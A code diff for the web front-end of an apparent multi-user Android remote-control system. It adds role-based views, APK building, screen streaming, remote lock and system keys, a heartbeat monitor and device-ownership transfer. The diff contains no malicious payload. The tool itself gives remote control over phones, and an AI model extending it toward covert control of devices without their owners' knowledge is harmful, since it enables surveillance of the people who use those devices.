currentRole = currentUser?.role || 'member' + const canManageTenant = currentRole === 'superadmin' + const canUseApkManager = currentRole === 'superadmin' || currentUser?.allowBuild !== false + const currentRoleLabel = currentRole === 'superadmin' ? '超级管理员' : currentRole === 'leader' ? '组长' : '组员' const [connectDialogVisible, setConnectDialogVisible] = useState(false) const [currentView, setCurrentView] = useState('control') @@ -68,13 +75,14 @@ const RemoteControlApp: React.FC = () => { // 弹框状态管理 / 独立页面模式 const [screenModalVisible, setScreenModalVisible] = useState(false) const [selectedDeviceForModal, setSelectedDeviceForModal] = useState(null) - const [screenSize, setScreenSize] = useState<{ width: number, height: number } | null>(null) // Transfer device state const [transferModalVisible, setTransferModalVisible] = useState(false) const [transferringDevice, setTransferringDevice] = useState(null) - const [newServerUrl, setNewServerUrl] = useState('') + const [transferTargets, setTransferTargets] = useState>([]) + const [transferTargetUserId, setTransferTargetUserId] = useState('') const [transferring, setTransferring] = useState(false) + const [videoModeByDevice, setVideoModeByDevice] = useState>({}) // 是否通过 URL 参数打开独立控制页面 const [standaloneControlDeviceId, setStandaloneControlDeviceId] = useState(null) @@ -134,6 +142,33 @@ const RemoteControlApp: React.FC = () => { return () => window.removeEventListener('resize', handleResize) }, [menuCollapsed]) + useEffect(() => { + const handleVideoModeChanged = (event: Event) => { + const customEvent = event as CustomEvent<{ deviceId?: string, mode?: DeviceVideoSessionMode }> + const deviceId = customEvent.detail?.deviceId + const mode = customEvent.detail?.mode + if (!deviceId || !mode) return + setVideoModeByDevice((prev) => ({ ...prev, [deviceId]: mode })) + } + + window.addEventListener('remote-control:video-mode-changed', handleVideoModeChanged as EventListener) + return () => { + window.removeEventListener('remote-control:video-mode-changed', handleVideoModeChanged as EventListener) + } + }, []) + + useEffect(() => { + if (currentView === 'tenant' && !canManageTenant) { + setCurrentView('control') + } + }, [currentView, canManageTenant]) + + useEffect(() => { + if (currentView === 'apk' && !canUseApkManager) { + setCurrentView('control') + } + }, [currentView, canUseApkManager]) + // Disconnect WebSocket on logout useEffect(() => { if (!currentUser && webSocket) { @@ -177,20 +212,39 @@ const RemoteControlApp: React.FC = () => { normalizedUrl = normalizedUrl.replace(/^wss:\/\//, 'https://') } + const HEARTBEAT_INTERVAL_MS = 8000 + const HEARTBEAT_TIMEOUT_MS = 26000 + let heartbeatTimer: ReturnType | null = null + let lastHeartbeatAckTime = Date.now() + let heartbeatSeq = 0 + + const clearHeartbeatMonitor = () => { + if (heartbeatTimer) { + window.clearInterval(heartbeatTimer) + heartbeatTimer = null + } + } + + const markHeartbeatAck = () => { + lastHeartbeatAckTime = Date.now() + } + // Socket.IO v4 client config const socket = io(normalizedUrl, { - // Transport: polling first then upgrade to websocket for reliability - transports: ['polling', 'websocket'], + // Transport: websocket first with polling fallback + transports: ['websocket', 'polling'], upgrade: true, + rememberUpgrade: true, // Reconnection config reconnection: true, - reconnectionDelay: 1000, - reconnectionDelayMax: 10000, + reconnectionDelay: 800, + reconnectionDelayMax: 6000, reconnectionAttempts: Infinity, + randomizationFactor: 0.3, // Timeout config (match server side) - timeout: 60000, + timeout: 30000, // Force new connection forceNew: true, @@ -202,6 +256,32 @@ const RemoteControlApp: React.FC = () => { } }) + const startHeartbeatMonitor = () => { + clearHeartbeatMonitor() + markHeartbeatAck() + + heartbeatTimer = window.setInterval(() => { + if (!socket.connected) return + + const now = Date.now() + heartbeatSeq += 1 + socket.emit('heartbeat', { + timestamp: now, + seq: heartbeatSeq, + source: 'web_client' + }) + + if (now - lastHeartbeatAckTime > HEARTBEAT_TIMEOUT_MS) { + console.warn('[Socket] heartbeat timeout, force reconnect') + dispatch(setConnectionStatus('connecting')) + markHeartbeatAck() + + socket.disconnect() + socket.connect() + } + }, HEARTBEAT_INTERVAL_MS) + } + socket.on('connect', () => { console.log('已连接到服务器') dispatch(setConnectionStatus('connected')) @@ -219,10 +299,13 @@ const RemoteControlApp: React.FC = () => { timestamp: Date.now() }) + startHeartbeatMonitor() + }) socket.on('disconnect', (reason) => { console.log('[Socket] disconnect, reason:', reason) + clearHeartbeatMonitor() if (reason === 'io server disconnect' || reason === 'io client disconnect') { // Server or client explicitly disconnected, no auto-reconnect @@ -239,6 +322,14 @@ const RemoteControlApp: React.FC = () => { } }) + socket.on('heartbeat_ack', () => { + markHeartbeatAck() + }) + + socket.on('CONNECTION_TEST_RESPONSE', () => { + markHeartbeatAck() + }) + socket.on('connect_error', (error) => { console.error('[Socket] connect_error:', error?.message || error) @@ -275,6 +366,7 @@ const RemoteControlApp: React.FC = () => { dispatch(logout()) // 断开WebSocket连接 + clearHeartbeatMonitor() socket.disconnect() }) @@ -487,64 +579,71 @@ const RemoteControlApp: React.FC = () => { } // Transfer device - const handleTransferDevice = (device: any) => { + const handleTransferDevice = async (device: any) => { setTransferringDevice(device) - setNewServerUrl('') + setTransferTargetUserId('') + setTransferTargets([]) setTransferModalVisible(true) + + try { + const result = await apiClient.get('/api/auth/transfer-targets') + if (result?.success) { + const users = Array.isArray(result.users) ? result.users : [] + setTransferTargets(users) + } else { + message.error(result?.message || '获取可转移成员失败') + } + } catch (error: any) { + console.error('获取可转移成员失败:', error) + message.error(error?.message || '获取可转移成员失败') + } } - const handleConfirmTransfer = () => { - if (!webSocket) { - message.error('WebSocket未连接') - return - } - + const handleConfirmTransfer = async () => { if (!transferringDevice) { message.error('设备信息缺失') return } - if (!newServerUrl.trim()) { - message.error('请输入新的服务器地址') + if (!transferTargetUserId) { + message.error('请选择目标用户') return } setTransferring(true) - console.log('[Device] Transfer:', transferringDevice.id, 'to server:', newServerUrl) - - // 发送转设备请求(使用修改服务器地址的指令) - webSocket.emit('client_event', { - type: 'CHANGE_SERVER_URL', - data: { - deviceId: transferringDevice.id, - data: { - serverUrl: newServerUrl.trim() - } - } - }) - - // 显示成功消息并关闭弹窗 - setTimeout(() => { - message.success('转设备指令已发送') - setTransferModalVisible(false) - setNewServerUrl('') - setTransferringDevice(null) - setTransferring(false) - }, 1000) - } - - // Check if user is superadmin - const isSuperAdmin = () => { try { - const userStr = localStorage.getItem('auth_user') - if (userStr) { - const user = JSON.parse(userStr) - return user?.role === 'superadmin' + const result = await apiClient.post(`/api/devices/${transferringDevice.id}/transfer`, { + targetUserId: transferTargetUserId + }) + + if (!result?.success) { + message.error(result?.message || '设备转移失败') + return } - } catch (error) { - console.error('获取用户角色失败:', error) + + message.success(result.message || '设备转移成功') + + const latestDevices = await apiClient.get('/api/devices') + const latestIds = new Set((latestDevices || []).map((item: any) => item.id)) + connectedDevices.forEach((item) => { + if (!latestIds.has(item.id)) { + dispatch(removeDevice(item.id)) + } + }) + ;(latestDevices || []).forEach((device: any) => { + dispatch(addDevice(device)) + }) + + setTransferModalVisible(false) + setTransferTargetUserId('') + setTransferringDevice(null) + setTransferTargets([]) + } catch (error: any) { + console.error('设备转移失败:', error) + message.error(error?.message || '设备转移失败') + } finally { + setTransferring(false) } - return false } // Handle device action @@ -579,7 +678,7 @@ const RemoteControlApp: React.FC = () => { } // If superadmin, check if device is being controlled - if (isSuperAdmin()) { + if (canManageTenant) { try { const result = await apiClient.get(`/api/devices/${device.id}/controller`) @@ -660,6 +759,38 @@ const RemoteControlApp: React.FC = () => { } // Handle system key + const getDeviceVideoMode = (deviceId?: string | null): DeviceVideoSessionMode => { + if (!deviceId) return 'ws_default' + return videoModeByDevice[deviceId] || 'ws_default' + } + + const triggerOverclockMode = (deviceId: string) => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + + const currentMode = getDeviceVideoMode(deviceId) + if (currentMode === 'webrtc_boost') { + window.dispatchEvent(new CustomEvent('remote-control:ws-default-mode', { + detail: { deviceId } + })) + message.success('已切回默认模式') + return + } + + webSocket.emit('control_message', { + type: 'SCREEN_CAPTURE_RESUME', + deviceId, + data: {}, + timestamp: Date.now() + }) + window.dispatchEvent(new CustomEvent('remote-control:overclock-mode', { + detail: { deviceId } + })) + message.success('已发送超频模式指令') + } + const handleSystemKey = (keyType: 'BACK' | 'HOME' | 'RECENTS') => { if (!webSocket || !selectedDeviceForModal) { message.error('WebSocket未连接或未选择设备') @@ -824,6 +955,22 @@ const RemoteControlApp: React.FC = () => { ellipsis: true, render: (text: string) => text || '-' }, + ...(currentRole === 'superadmin' ? [ + { + title: '归属用户', + key: 'ownerUsername', + width: 160, + ellipsis: true, + render: (_: unknown, record: any) => record.ownerUsername || record.ownerUserId || '-', + }, + { + title: '归属组', + key: 'ownerGroupName', + width: 160, + ellipsis: true, + render: (_: unknown, record: any) => record.ownerGroupName || record.ownerGroupId || '-', + }, + ] : []), { title: '锁屏状态', dataIndex: 'isLocked', @@ -882,7 +1029,7 @@ const RemoteControlApp: React.FC = () => { { title: '操作', key: 'actions', - width: isSuperAdmin() ? 180 : 120, + width: 180, render: (record: any) => ( - {isSuperAdmin() && ( + {currentUser && ( @@ -943,11 +1089,16 @@ const RemoteControlApp: React.FC = () => { icon: , label: '设备控制', }, - { + ...(canUseApkManager ? [{ key: 'apk', icon: , label: 'APK 管理', - }, + }] : []), + ...(canManageTenant ? [{ + key: 'tenant', + icon: , + label: '租户管理', + }] : []), { key: 'settings', icon: , @@ -1004,7 +1155,7 @@ const RemoteControlApp: React.FC = () => { ) case 'apk': - return ( + return canUseApkManager ? (
{ : `${window.location.protocol}//${window.location.hostname}` })()} />
+ ) : null + case 'tenant': + return canManageTenant ? ( + + ) : ( +
+ +
当前角色无租户管理权限
+
) case 'settings': return ( @@ -1088,10 +1257,7 @@ const RemoteControlApp: React.FC = () => { return (
{/* 左侧屏幕区域 - 自适应视口高度 */} -
+
{/* 工具条 */}
@@ -1163,11 +1329,26 @@ const RemoteControlApp: React.FC = () => { webSocket.emit('control_message', { type: 'POWER_SLEEP', deviceId: selectedDeviceForModal.id, data: {}, timestamp: Date.now() }) message.success('已发送锁定屏幕') }}>锁定 - +
- 管理员 + {currentRoleLabel}{currentUser?.groupName ? ` · ${currentUser.groupName}` : ''}
), @@ -1492,7 +1672,6 @@ const RemoteControlApp: React.FC = () => { open={screenModalVisible} onCancel={() => { setScreenModalVisible(false) - setScreenSize(null) }} footer={null} width="95vw" @@ -1508,9 +1687,9 @@ const RemoteControlApp: React.FC = () => { destroyOnHidden > {selectedDeviceForModal && ( -
+
{/* 左侧屏幕区域 */} -
+
{/* 工具条 */}
@@ -1589,7 +1768,7 @@ const RemoteControlApp: React.FC = () => { })() }}>
- +
{(() => { const current = connectedDevices.find(d => d.id === selectedDeviceForModal.id) @@ -1637,18 +1816,20 @@ const RemoteControlApp: React.FC = () => { {/* 转设备弹窗 */} { setTransferModalVisible(false) - setNewServerUrl('') + setTransferTargetUserId('') setTransferringDevice(null) + setTransferTargets([]) }} footer={[ , @@ -1657,37 +1838,42 @@ const RemoteControlApp: React.FC = () => { type="primary" onClick={handleConfirmTransfer} loading={transferring} - disabled={!newServerUrl.trim()} + disabled={!transferTargetUserId} > - 确认转设备 + 确认转移 ]} width={500} >

- 此功能将向设备 {transferringDevice?.name} 发送修改服务器地址的指令,设备将重新连接到新的服务器。 + 你正在转移设备 {transferringDevice?.name} 的归属。转移后,原归属用户将失去该设备控制权限。

- setNewServerUrl(e.target.value)} - style={{ marginBottom: 16 }} +